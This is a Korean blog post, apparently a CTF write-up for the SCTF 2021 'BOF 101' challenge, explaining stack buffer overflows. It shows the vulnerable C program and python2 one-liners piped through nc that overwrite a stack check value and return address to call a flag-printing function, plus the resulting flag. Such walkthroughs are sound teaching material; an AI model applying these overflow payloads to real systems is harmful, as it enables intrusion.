일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- docker
- SQL Injection
- Windows Terminal
- IMAGE_IMPORT_DESCRIPTOR
- zsh theme customization
- Windows
- IMAGE_EXPORT_DIRECTORY
- PE file format
- GetProcAddress()
- Buffer Overflow
- NT Header
- samsung ctf
- powerlevel10k
- ubuntu
- stack based buffer overflow
- DOS Stub
- NT File Header
- WSL
- web
- NT Optional Header
- attack vector
- sctf 2021
- Windows 11
- 리버싱 핵심원리
- DOS Header
- Tutorial
- BOF
- PE Header
- RVA
- oh-my-zsh
Archives
- Today
- Total
나만의 메모노트
[SCTF 2021] BOF 101 본문
BOF(Buffer Overflow)
- 프로그램이 데이터를 Buffer에 쓰는 동안 Buffer의 경계값을 초과하고 인접한 메모리 위치를 덮어 쓰는 이상 현상
- Stack based Buffer Overflow (high → low)
- Heap based Buffer Overflow (low → high)
- 지역 변수(local variable)값 변조 가능
- Return Address 변조 가능
- Shell Code 삽입 및 실행 가능
#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void printflag(){
char buf[32];
FILE* fp = fopen("/flag", "r");
fread(buf, 1, 32, fp);
fclose(fp);
printf("%s", buf);
fflush(stdout);
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
fflush(stdout);
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
fflush(stdout);
exit(0);
}
return 0;
}

python2 -c "print '\xef\xbe\xad\xde'" | nc bof101.sstf.site 1337


python2 -c "print 'A'*140+'\x29\x52\x55\x55\x55\x55'" | nc bof101.sstf.site 1337

python2 -c "print 'A'*140+'\xef\xbe\xad\xde'+'B'*8+'\x29\x52\x55\x55\x55\x55'" | nc bof101.sstf.site 1337

SCTF{n0w_U_R_B0F_3xpEr7}
'Security > CTF Write-Up' 카테고리의 다른 글
[SCTF 2021] BOF 102 (0) | 2021.08.30 |
---|---|
[SCTF 2021] SQLi 102 (0) | 2021.08.23 |
[SCTF 2021] SQLi 101 (0) | 2021.08.23 |